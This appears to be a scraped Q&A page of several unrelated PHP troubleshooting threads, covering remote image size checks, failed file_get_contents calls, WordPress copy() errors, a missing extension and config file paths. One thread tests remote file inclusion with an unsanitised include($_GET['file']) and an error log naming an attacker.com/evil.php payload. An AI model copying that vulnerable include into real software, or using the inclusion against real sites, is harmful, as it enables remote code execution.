I am trying to figure out ways to determine whether the url I am passing is an image or not. I have thought using getimagesize() to accomplish this task. But the main problem is, what if I want to check the image size of an encrypted image such as this url (https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTup5KSMveqkgrDKZR6p-0ANhPkJ7srbJOlKR78DUqqh85I_3MUrw)?
I am always getting this error:
Warning: getimagesize(): Unable to find the wrapper "https" - did you forget to enable it when you configured PHP? in C:\xampp\htdocs\series\index.php on line 4
Warning: getimagesize(https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTup5KSMveqkgrDKZR6p-0ANhPkJ7srbJOlKR78DUqqh85I_3MUrw): failed to open stream: No such file or directory in C:\xampp\htdocs\folder\index.php on line 4
0
Couple of bits:
If you are running PHP5 (or could do) then you can use the HTTP Stream wrapper with the php.ini setting 'allow_url_fopen' set to on:
This will allow you to do a 'straight forward' copy of any remote data to your server for processing.
e.g
<?php copy('https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTup5KSMveqkgrDKZR6p-0ANhPkJ7srbJOlKR78DUqqh85I_3MUrw', 'FileName.jpg'); ?>
Then you can do:
<?php
$size = getimagesize("FileName.jpg");
echo $size;
/*delete temp file*/
unlink("FileName.jpg");
?>
Obviously not complete - but you can see the theory there
Related
I'm trying to write the content of a page on my server to a variable using file_get_contents:
$lnk = "https://www.example.com/test%20file.php";
$otpt = file_get_contents($lnk);
The full URL is needed because I need the PHP output of the page and not the PHP script itself.
When running the above code I get this warning: failed to open stream: HTTP request failed! No other information, e. g. HTML error code, is provided. allow_url_fopen is enabled on the server. error_reporting(E_ALL) doesn't show any more information. The only thing which seems mentionable to me is that the file_get_contents request takes much too long (up to 30 secs) for the ~57 KB file I'm currently testing on.
I checked the Reference - What does this error mean in PHP?, but to no avail. I really have no idea what this message means since any further specification by PHP is missing. Any help would be very much appreciated.
Thanks in advance!
I have a strange php issue.
I have a custom front-end post submission form for WordPress. It most of the time but the other times it seemingly at random doesn't work.
My PHP error log spits out the following:
PHP Warning: copy(): Filename cannot be empty in /home/y567889/public_html/wp-content/themes/colormag/inc/front_deck.php on line 1071
PHP Warning: file_get_contents(https://ygoprodeck.com/pics/Trinity World Chalice-deck-14461.png): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/y567889/public_html/wp-content/themes/colormag/inc/front_deck.php on line 1025
PHP Warning: unlink(/home/y567889/public_html/pics/Trinity World Chalice-deck-14461.png): No such file or directory in /home/y567889/public_html/wp-content/themes/colormag/inc/front_deck.php on line 172
So in theory, a user could submit 10 posts. Sometimes 2 of those posts would generate with errors (missing featured image etc etc) with the above error in the php log.
What I have tried:
Changed copy() to move_uploaded_file() with no joy.
Changed permissions on the "pics" folder to 775.
It occurs to one of my users in particular. It happens him with every post he attempts to upload. Generating a new WP account fixes this for him (although it still fails occasionally as per usual).
Because the error starts at line 1017 I'll show what the code is for that:
function moveYdktoDeck($ydkId,$postid){
$ydkUrl = wp_get_attachment_url( $ydkId );
$newfile = $_SERVER['DOCUMENT_ROOT'].'/UploadedDecks/3/'.$postid.'.ydk';
copy($ydkUrl, $newfile)
}
Function wp_get_attachment_url can return false. Check that before you use it in copy function.
I have an issue. I was testing how remote file inclusion injection and tried to include the file from URL query string using PHP. But here I am getting some warning messages. I am explaining my code below.
<?php
$file = $_GET['file'];
include($file);
?>
I am getting the following messages.
Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /opt/lampp/htdocs/test/remote.php on line 3
Warning: include(http://attacker.com/evil.php): failed to open stream: no suitable wrapper could be found in /opt/lampp/htdocs/test/remote.php on line 3
Warning: include(): Failed opening 'http://attacker.com/evil.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/test/remote.php on line 3
Here I am calling remote file like this http://localhost/test/remote.php?file=http://kooleedback.com/about.php. Here I need to know how it can be successfully included and also how it can be prevented.
Your server has the allow_url_include option disabled. This means you can only access local files with include(), not external URLs.
In general it doesn't make sense to use include() with a remote .php URL. When you request a .php file from a server, it doesn't return the source code, it executes the script and returns the output. But include() needs to get PHP code, which it executes as if it were in the including script.
If you want to get that remote data you should use file_get_contents($file), not include($file).
Problem: Any php file we attempt to access on our website shows up as a 500 internal server error. I'm not sure if this is related but I have had a look in the error logs and the below error appears:
[08-Nov-2013 12:41:51 UTC] PHP Warning: PHP Startup: Unable to load dynamic library '/usr/local/lib/php/extensions/no-debug-non-zts-20090626/htscanner.so' - /usr/local/lib/php/extensions/no-debug-non-zts-20090626/htscanner.so:
cannot open shared object file: No such file or directory in Unknown on line 0
Attempt: Some of the things I have tried to do is delete the over size error log and renamed the htaccess file to see if that was causing the problem.
Page: You can see the problem at this page: http://science.org.au/support-us/donate-now.html (Half way down in the iframe)
Question: Does anyone have any ideas on how to fix this? Things to try?
Did you try this?
edit the file /etc/php5/cli/php.ini:
and remove the lines:
[htscanner] Extension = “htscanner.so”
config_file = “.htaccess”
default_docroot = “/var/www”
You should pay more attention to what your error log says. According to it, you should either install htscanner.so PHP extension, or remove reference to it from your php.ini.
I wrote a PHP Application (that works) and I have moved it to a different directory. As a result it needs to get a file from a directory above it, but the file must remain hidden, ie:
Root
--config
---users.xml (Permissions 600)
--lib
----loginUtil.php
I have tried two different methods of getting the file:
$xml = file_get_contents("../config/users.xml");
Which returns the following Error:
[13-Jun-2012 08:54:04] PHP Warning: file_get_contents(../config/users.xml) [<a href='function.file-get-contents'>function.file-get-contents</a>]: failed to open stream: No such file or directory in public_html/test/lib/loginUtil.php on line 18
and
$xml = simplexml_load_file("../config/users.xml");
which returns
[13-Jun-2012 08:56:17] PHP Warning: simplexml_load_file() [<a href='function.simplexml-load-file'>function.simplexml-load-file</a>]: I/O warning : failed to load external entity
I have tried using the full URL, and that works, but I must then make the users.xml file public (as PHP is doing a URL Request).
What can I do to resolve this issue? (Thanks for your help)
try setting the full path and not the relative
$path = '/var/full/path_dir/file.xml';
if(!is_file($path)){
// if this is the is output then you need to check permissions
// double check the file exists also.
// check the web service can read the file
echo "FILE NOT FOUND FOR $path";
}
else{
$xml = file_get_contents($path);
echo $xml;
}